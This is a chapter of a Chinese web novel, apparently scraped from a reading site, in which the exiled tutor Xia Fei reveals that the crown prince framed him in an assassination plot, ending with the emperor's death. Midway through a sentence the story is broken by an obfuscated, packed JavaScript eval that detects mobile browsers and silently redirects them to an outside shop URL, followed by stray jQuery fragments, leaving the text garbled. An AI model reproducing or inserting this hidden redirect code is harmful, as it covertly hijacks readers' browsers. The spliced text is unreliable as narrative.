祝山长叫她先不要将此事告诉夏棐。
稚阳知道，他说过绝不回去。
可她更想知道，若听见那个他宁可受刑也不肯背弃的人即将得到皇位，他会不会还是放不下。
从山下回来，已是入夜，稚阳回到斋舍，躺在床上……
若他知道这个消息……
会高兴吗？
会难过吗？
会不会还想着那个人？
稚阳披衣起身，不知不觉来到青梅堂，旧书屋里一片漆黑，可她觉得他应该还未睡。
当她走近，站在门口踟蹰不前……屋中忽然亮起了一盏昏黄的油灯，那熟悉的清瘦身影坐在灯前。
他知道她会来，他在等她。
稚阳终于上前推门，分别一整天，她也很想见他。
门只是虚掩着，并没锁住，稚阳推门轻轻走进，没有开口，她仍然没想好该不该说。
“出什么事了？”夏棐先问道。
“没有……没出什么事……”
“你一直在书院读书，这一趟到山下想必有许多新鲜见闻，你如此烦恼，莫非是外界有何动荡？”
稚阳心想他猜的也太准了，瞒不瞒，反正他日后都会猜得到，况且倘若那人在他心中始终重要，那他一定很想知道那人的消息。
“有件事，我不知该不该告诉你。”
“是关于祁朝的事？来自祁都的消息吗？”
“是……”稚阳低声回答，她闷闷心想，他果然还在意吗……
夏棐却没有再继续问下去。
稚阳忍不住道：“消息是一个月前的，祁人的皇帝……病危了。”
夏棐没有太大反应，“那当是太子监国。”
“是，太子监国，等皇帝驾崩，便轮到他做皇帝。”她直勾勾的眼神打量着夏棐的神情。
片刻后，夏棐漠然道，“他终于得偿所愿了。”
他的态度出乎稚阳的意料，若是他不在乎那个太子，又为何为太子守口如瓶……
“你曾是太子的重臣，如今他大权在握，他或许会帮你平反？”
“我没有被定罪，何来平反。”
没有罪行，却受了半年的诏狱折磨，连一句公道都得不来吗。
“那你……真的不会回去？若是我，记着你曾为他受过的苦，一定会来接你回去，给你正名。”
夏棐苦笑，似在叹息她的天真，“接我回去做什么，他还想怎么用我这副残躯？”
稚阳一头雾水，“什么意思？”
“无事，都是过去，我不想再提。”
他越是这么说，稚阳越想知道，祝山长所说的，在他身上发生的那件东宫之案，到底是怎么回事。
“我想知道。”稚阳自己也想不到，她竟然理直气壮地要求他自揭伤疤。
夏棐没有生气，也没有露出悲伤之色，只是问她，“你为何想知道这些，对你读书有什么益处吗？”
稚阳没想到他会这么问，一时答不上来。
夏棐很平静，“我并非什么要紧之人，我的过往也不值一提。”
“可我想知道……”你的一切，稚阳没能把后面的话说出口，她改口道，“你说过，我的问题，你知无不答。”
夏棐怔愣一下，沉默许久才答，“是，我说过，无论你想知道什么，我都会告诉你……”哪怕是他心中再也不愿提起的痛楚。
“东宫惊驾案是怎么回事，你说祝山长只知一隅，那真相是什么？”
夏棐的语气越发平静，说起自己的语气，像是在说别人。
“如你所知，我曾是太子少傅，要辅佐太子以治国兴邦之道，也要小心谨慎翼护太子，无论何时，都要把太子放在第一位。祁人已经打下天下，若是继续穷兵黩武，百姓难以为继，太子年近而立，仁厚思辨，明白祁朝已经不可能只靠武力维持统治，于是广施仁政，寻求改变，可是他越是勤奋刻苦，越是招来皇帝的猜忌，渐渐被疏远。眼看他弟弟三皇子越来越受皇帝的宠爱，功勋贵族暗中助力，朝中大臣有不少人开始站队三皇子，皇帝也想废掉太子，可太子并无过错，没有平白罢黜的道理，也就是差一个契机，想那三皇子，必是已经等不及了……”
稚阳猜测，“所以是不是三皇子诬陷太子谋反，想以此为契机，把太子拖下来？”
夏棐没有回答她，只是继续讲，“那日太子一场重病来的很急，整个人浑浑噩噩神志不清，太医说是内闭外脱十分凶险，怕再晚就救不回来了，太子病中不断呓语喊着想见父皇，我听着于心不忍，便急匆匆觐见皇帝告知此事，皇帝本不想去，但在我苦苦哀求后，他终是舍不得这个儿子，启程前往太子府上探望，谁知……”
稚阳连忙问：“发生什么事了？”
“我也没有想到，太子府上竟藏着一名刺客，皇帝经过东宫花园时突然从树丛冲出，要扑向皇帝。刺客当场被抓，却在逼他说出主谋的时候在舌下□□自尽，皇帝怒不可遏，将他认为的主谋抓起来，丢进了诏狱。”
稚阳问，“他觉得主谋是你？”
夏棐点头，“太子生病，此事是我去告知的，皇帝是我带到太子府的，他认为我是刺杀一事的主谋，我似乎的确有合理的动机：只要皇帝提早驾崩，太子就可以顺利即位，这样我等太子党人，便能跟着鸡犬升天……”
“况且，因为一句帝师谶言，皇帝原本便不信任我，在诏狱里，只要我招供出太子预先知晓刺杀一事，太子就会被废掉，狱中的刑官，就是从这个方向来逼供的，想来也是受到皇帝的指示，他早就想废掉太子，只是找不到借口。”
“后来，我已经不知在狱中过去多久，也不知自己为何被放出来，即将被流放时，有同僚偷偷来送我，才告知我此事经过，最终是三皇子那边有人告发，太子府上的刺客是三皇子早早安插进去，只待皇帝亲临太子府时，便会动手，目的就是诬陷太子……而我，只是时乖运蹇，一时倒霉，刚好那时去找皇帝来的人是我。”
稚阳愤愤不平道，“那太子也太过懦弱，你为他扛下酷刑，可他竟然不敢出面救你，你还为这样的人守口如瓶，值得吗？”
夏棐摇头，“没有值不值得，我不是为了谁，即便我受刑时已经头脑昏聩，可我没有做过的事，我不会认，也不能认。”
“况且太子，他不是懦弱
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17726890|208857||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。”
稚阳心下一颤，“是什么意思？”
“起初我也以为，是三皇子急于除掉太子，才出此下策。可后来细想……太子一向谨慎，东宫防备森严，怎会让三皇子安插的刺客轻易进入，太子的重病怎么来的这么巧，刺客又如何得知皇帝会来，提前藏匿……三皇子身边的近臣，又以什么缘由适时出来告发三皇子，我知晓那人名字后，才意识到我曾经见过太子与那人私下会见……”
“至此，我才明白，原来那场惊驾案，从一开始我就被人摆在祭坛上了。”
稚阳呆住，“祭坛？”
“太子知道自己不受宠，早就栗栗自危，这也是他走投无路的铤而走险之计，幸而他成功了，皇帝对三皇子失望至极，一怒之下将三皇子贬离京城，永世不得归京，经此事，太子地位稳固，令皇帝重新信任他，也除掉了三皇子这个眼前的祸患。况且我为推行新政得罪了太多勋贵，此时把我推出去，太子便可重获他们的支持。”
“可这一切，都是因为你没有供出太子，他才有机会给自己平反。”
夏棐怔怔陷入回忆，“那日太子称病，他单独叫我前去太子府，我见他躺在床榻上，哀哀叫着父皇，说想见父皇，我怎忍心不去劝说皇帝来看他……我原以为自己是在辅佐他，现在看来，我正是他登基路上第一个该舍弃的人。”
稚阳：“怎么会这样……”
“他或许是被岌岌可危的太子之位逼成这样，可我已经认不出他了，他发现宽厚仁德没有办法保住地位时，便如同被压抑得疯魔了，阴谋手段来得变本加厉，我像是被他拼命挣脱的枷锁，即使我被皇帝流放，他也不曾放过我。你可记得在雀山时我说过，围捕你们的正是太子的亲兵，将我每一寸血肉都利用殆尽，这便是他当今的手段。”
夏棐低低道，“我实在厌倦了。”
稚阳此时才明白当初夏棐在雀山时一心求死，并非因为身体被毁，也并非因为意气消沉，只是因为死是他反抗的唯一方式。
“夏氏出帝师，所授之人，必登九五。”夏棐失去力量，向后倾身靠在榻上，“我曾经以为，我真的能让那句谶言应验，可没想到，竟是以这种方式。”
稚阳久久没有说话，久到夏棐几乎以为她不在了，但他听见了泪水跌落的声音。
他努力想撑起身子，宽慰道，“稚阳，不必哭，我已不在乎了……”
话还没说完，却忽然被她扑上来紧紧抱住。
她的眼泪汹涌而来，浸湿他的衣襟，“他不配！”
———
黑夜沉如静海，高台上的朱红宫殿如同巨大的棺椁，宫中死一般寂静。
殿中烛光颤抖，殿门打开，浓烈的龙涎香混着死气扑出门来，随后太子缓缓走出，披着一件早已备好的斩衰麻衣……
烛影落入他的眼睛，如同落入深邃的古井，原本温文尔雅的面容，侧面看去却冷如刀锋。
他张了张嘴，此时才觉得口干舌燥，他暗自清清嗓子，声音出乎意料的平稳：
“先皇——”
“——驾崩了。”
宫檐上的宿鸟惊飞，黑影掠过重重殿脊。